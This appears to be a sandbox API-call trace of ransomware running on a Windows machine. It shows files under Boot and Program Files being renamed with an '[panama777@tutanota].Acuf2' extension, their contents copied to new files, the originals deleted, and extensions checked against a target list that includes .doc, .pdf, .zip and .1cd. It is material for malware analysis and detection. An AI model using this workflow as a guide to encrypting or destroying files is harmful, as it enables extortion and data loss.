	[0249.510] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0249.825] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\OFFICE.ODF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\office.odf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.190] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSETUP.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetup.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0251.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\vbe7.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\fpsrvutl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.992] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\DVDMaker.exe.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\dvdmaker.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.997] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll" (normalized: "c:\\program files\\dvd maker\\omdbase.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdBase.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\omdbase.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.998] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll" (normalized: "c:\\program files\\dvd maker\\omdproject.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\OmdProject.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\omdproject.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.998] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll" (normalized: "c:\\program files\\dvd maker\\pipeline.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\Pipeline.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\pipeline.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0252.998] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll" (normalized: "c:\\program files\\dvd maker\\pipetran.dll"), lpNewFileName="C:\\Program Files\\DVD Maker\\PipeTran.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\dvd maker\\pipetran.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0253.755] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.755] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0253.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0254.025] GetLastError () returned 0x0
	[0254.025] ReadFile (in: hFile=0x328, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x3a18, lpOverlapped=0x0) returned 1
	[0254.043] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x3a20, lpOverlapped=0x0) returned 1
	[0254.044] ReadFile (in: hFile=0x328, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.044] WriteFile (in: hFile=0x28c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0254.044] SetEndOfFile (hFile=0x28c) returned 1
	[0254.044] CloseHandle (hObject=0x28c) returned 1
	[0254.044] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.044] SetEndOfFile (hFile=0x328) returned 1
	[0254.452] CloseHandle (hObject=0x328) returned 1
	[0254.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msolui100.rll")) returned 1
	[0254.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.455] lstrlenW (lpString=".doc") returned 4
	[0254.455] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1
	[0254.456] lstrlenW (lpString=".docx") returned 5
	[0254.456] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1
	[0254.456] lstrlenW (lpString=".pdf") returned 4
	[0254.456] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1
	[0254.456] lstrlenW (lpString=".xls") returned 4
	[0254.456] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1
	[0254.456] lstrlenW (lpString=".xlsx") returned 5
	[0254.456] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1
	[0254.456] lstrlenW (lpString=".ppt") returned 4
	[0254.456] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1
	[0254.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.456] lstrlenW (lpString=".zip") returned 4
	[0254.456] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1
	[0254.456] lstrlenW (lpString=".rar") returned 4
	[0254.456] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1
	[0254.456] lstrlenW (lpString=".bz2") returned 4
	[0254.456] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1
	[0254.456] lstrlenW (lpString=".7z") returned 3
	[0254.456] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1
	[0254.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.456] lstrlenW (lpString=".dbf") returned 4
	[0254.456] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1
	[0254.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.456] lstrlenW (lpString=".1cd") returned 4
	[0254.456] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1
	[0254.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.456] lstrlenW (lpString=".jpg") returned 4
	[0254.456] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1
	[0254.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.456] lstrlenW (lpString=".doc") returned 4
	[0254.457] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1
	[0254.457] lstrlenW (lpString=".docx") returned 5
	[0254.457] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1
	[0254.457] lstrlenW (lpString=".pdf") returned 4
	[0254.457] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1
	[0254.457] lstrlenW (lpString=".xls") returned 4
	[0254.457] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1
	[0254.457] lstrlenW (lpString=".xlsx") returned 5
	[0254.457] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1
	[0254.457] lstrlenW (lpString=".ppt") returned 4
	[0254.457] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1
	[0254.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.457] lstrlenW (lpString=".zip") returned 4
	[0254.457] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1
	[0254.457] lstrlenW (lpString=".rar") returned 4
	[0254.457] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1
	[0254.457] lstrlenW (lpString=".bz2") returned 4
	[0254.457] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1
	[0254.457] lstrlenW (lpString=".7z") returned 3
	[0254.457] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1
	[0254.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.457] lstrlenW (lpString=".dbf") returned 4
	[0254.457] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1
	[0254.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.457] lstrlenW (lpString=".1cd") returned 4
	[0254.457] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1
	[0254.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85
	[0254.457] lstrlenW (lpString=".jpg") returned 4
	[0254.457] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1
	[0254.458] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.458] lstrlenW (lpString="FINCL_02.MID") returned 12
	[0254.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0254.746] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=9318) returned 1
	[0254.746] CloseHandle (hObject=0x330) returned 1
	[0254.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20
	[0254.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0254.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.903] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.903] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0254.917] GetLastError () returned 0x0
	[0254.917] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x2466, lpOverlapped=0x0) returned 1
	[0254.919] WriteFile (in: hFile=0x334, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x2470, lpOverlapped=0x0) returned 1
	[0254.921] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0254.921] WriteFile (in: hFile=0x334, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0254.921] SetEndOfFile (hFile=0x334) returned 1
	[0254.921] CloseHandle (hObject=0x334) returned 1
	[0254.921] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0254.921] SetEndOfFile (hFile=0x358) returned 1
	[0254.924] CloseHandle (hObject=0x358) returned 1
	[0254.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0254.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1
	[0254.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.929] lstrlenW (lpString=".doc") returned 4
	[0254.929] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.929] lstrlenW (lpString=".docx") returned 5
	[0254.929] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0254.929] lstrlenW (lpString=".pdf") returned 4
	[0254.929] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.929] lstrlenW (lpString=".xls") returned 4
	[0254.929] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.929] lstrlenW (lpString=".xlsx") returned 5
	[0254.929] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0254.929] lstrlenW (lpString=".ppt") returned 4
	[0254.929] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.929] lstrlenW (lpString=".zip") returned 4
	[0254.929] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.929] lstrlenW (lpString=".rar") returned 4
	[0254.929] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.929] lstrlenW (lpString=".bz2") returned 4
	[0254.929] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.929] lstrlenW (lpString=".7z") returned 3
	[0254.929] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.929] lstrlenW (lpString=".dbf") returned 4
	[0254.929] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.929] lstrlenW (lpString=".1cd") returned 4
	[0254.929] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.930] lstrlenW (lpString=".jpg") returned 4
	[0254.930] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.930] lstrlenW (lpString=".doc") returned 4
	[0254.930] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0254.930] lstrlenW (lpString=".docx") returned 5
	[0254.930] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0254.930] lstrlenW (lpString=".pdf") returned 4
	[0254.930] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0254.930] lstrlenW (lpString=".xls") returned 4
	[0254.930] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0254.930] lstrlenW (lpString=".xlsx") returned 5
	[0254.930] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0254.930] lstrlenW (lpString=".ppt") returned 4
	[0254.930] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0254.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.930] lstrlenW (lpString=".zip") returned 4
	[0254.930] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0254.930] lstrlenW (lpString=".rar") returned 4
	[0254.930] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0254.930] lstrlenW (lpString=".bz2") returned 4
	[0254.930] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0254.930] lstrlenW (lpString=".7z") returned 3
	[0254.930] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0254.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.931] lstrlenW (lpString=".dbf") returned 4
	[0254.931] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0254.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.931] lstrlenW (lpString=".1cd") returned 4
	[0254.931] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0254.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63
	[0254.931] lstrlenW (lpString=".jpg") returned 4
	[0254.931] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0254.931] lstrcmpiW (lpString1=".MID", lpString2=".Acuf2") returned 1
	[0254.931] lstrlenW (lpString="JAVA_01.MID") returned 11
	[0254.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0254.932] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=9797) returned 1
	[0254.932] CloseHandle (hObject=0x358) returned 1
